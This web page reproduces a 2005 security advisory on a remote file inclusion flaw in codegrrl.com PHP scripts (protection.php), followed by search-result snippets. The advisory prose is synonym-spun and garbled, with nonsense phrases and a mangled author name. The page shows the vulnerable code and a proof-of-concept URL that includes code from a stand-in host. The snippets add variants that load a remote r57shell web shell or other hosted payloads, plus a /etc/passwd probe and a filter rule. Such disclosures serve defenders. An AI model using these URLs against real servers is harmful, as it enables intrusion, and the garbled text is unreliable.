php   http   com   action   www 

Protection php action logout siteurl http

Date: 13 Nov 2005 11:51:17 -0000 ('binary' encryption is not supported, stored as-is) Phpcalendar (and some and codegrrl.com products) arbitrary codification accomplish ================================ ================================ ==========

Software: Phpcalendar, Phpclique, Phpfanbase, Phpcurrently, Phpquotes Severity: Arbitrary codification do Risk: High-pressure Author: Redbreast Verton Date: Sep. 24 2005 Vendor: codegrrl.com [contacted]

Description:

Written in Php/mysql, Phpcalendar is a handwriting planed seldom to aid webmasters to mantain a calendar, with all upcoming events and birthdays. It was fashioned to be used at secluded sites, but it can along be curiously competent for fansites, to dungeon cartroad of tours, premiers, awards shows, tv apearances, interviews, magazines features, and numerous more! You can see it in use at unfloopy.net. [http://www.codegrrl.com/]

Details:

1) protection.php (with register_globals = On) If register_globals is on an assaulter can include an arbitrary php file to channel malicious code.

$logout_page = "$siteurl";

[...]

if ($action == "logout") { Setcookie("logincookie[pwd]","", time() -86400); Setcookie("logincookie[user]","" ,time() - 86400); @include($logout_page); exit; }

Knowledge of Concept:

To deed that photograph an assaulter alone has to use the pursuit Http-request: http://www.example.com/protectio n.php?action=logout&siteurl=http ://yourhost.com/malicoius-code.t xt

Patch: Set register_globals in the php.ini off or proscribe guide entree to the protection.php f.e. delimitate constants and use codification lovingness

if( !defined('in_sys') ) { die('hacking attempt'); }

to forbidding the take approach Credits:

Recognition goes to Redbreast Verton, 15 daytime old from Frg

References:

[1] http://codegrrl.com [2] http://www.google.com/search?q=% 22powered+by%3a+phpfanbase%22 [about 112,000 results] [3] http://www.google.com/search?q=% 22powered+by%3a+phpcalendar%22 [about 44,000 results] [4] http://www.google.com/search?q=% 22powered+by%3a+phpcurrently%22 [about 44,000 results] [5] http://www.google.com/search?q=% 22powered+by%3a+phpclique%22

Related sites:

SecurityFocus
... Proof of Concept: To exploit this vulnerability an attacker only has to use the following HTTP-Request: http://www.examp le.com/protectio n.php?action=log out&siteurl= http://yourh ost ...
www.securityfocu s.com/ archive/ 1/ 416525
Codegrrl.com Forums [Powered by Invision Power Board]
http://never-sil ent.net/calendar /protection.php? action=logout&am p;siteurl=http:/ /rst.void.ru/dow nload/r57shell.t xt Patch: Set register_globals in the php.ini off or disallow direct ...
codegrrl.com/ forums/ index.php?act=Pr int&client=p rinter&
SecurityTracker. com Archives - PHPCalendar, PHPClique, PHPFanBase ...
To exploit this vulnerability an attacker only has to use the following HTTP-Request: http://www.examp le.com/protectio n.php?action=log out&siteurl= http://yourhost. com/malicoius ...
securitytracker. com/ id?1015206
Codegrrl Protection.PHP Unspecified Code Execution Vulnerability
... PHP Unspecified Code Execution Vulnerability No exploit is required. A proof of concept URI has been provided: http://www.examp le.com/protectio n.php?action=log out&siteurl= http://www ...
www.securityfocu s.com/ bid/ 15417/ exploit
Security Advisory: PHPFanBase (protection.php) Remote File Include ...
Http://www.Victe m.0/[PaTH]/prote ction.php?action =logout&site url= http://4azhar.co m/soft.txt? ===== ---- GreeTz: [MoHaNdKo] [Cold ...
securityvulns.co m/ Pdocument453.htm l
Security Flaw in CG Scripts - Codegrrl.com Forums
unleashed.pinkin ki.net/protectio n.php?action=log out&siteurl= http://www.micro softi This script can be exploited to allow any visitor to run any code they would like on our server, by ...
codegrrl.com/ forums/ index.php?showto pic=11116&st =90
VOID-STAR.NET ยป ModSecurity Fun and Protection
... URI "\.php\?.*= (https?|ftp)\:/. *" SecFilterSelecti ve REQUEST_URI "protection \.php\?action=lo gout&siteurl = ... files that have been moved, you should use Redirect 301 /old.file http ...
void-star.net/ post/ modsecurity-fun- and-protection
Tenable Network Security
dir, "/protectio n.php?", "action=log out&", "siteurl=/e tc/passwd" ), port:port ); res = http_keepalive_s end_recv(port:po rt, data:req, bodyonly:TRUE); if (res == NULL) exit(0)
www.nessus.org/ plugins/ index.php?view=v iewsrc&id=20 214
Bugtraq: PHPCalendar (and some more codegrrl.com products) arbitrary ...
To exploit this vulnerability an attacker only has to use the following HTTP-Request: http://www.examp le.com/protectio n.php?action=log out&siteurl= http://yourhost. com ...
seclists.org/ bugtraq/ 2005/ Nov/ 0148.html
PHPFanBase 2.x (protection.php) Remote File Include Vulnerability
Http://www.Victe m.0/[PaTH]/prote ction.php?action =logout&site url=http://4azha r.com/soft.txt? ===== ---- GreeTz: [MoHaNdKo ...
milw0rm.com/ exploits/ 2957

<< Home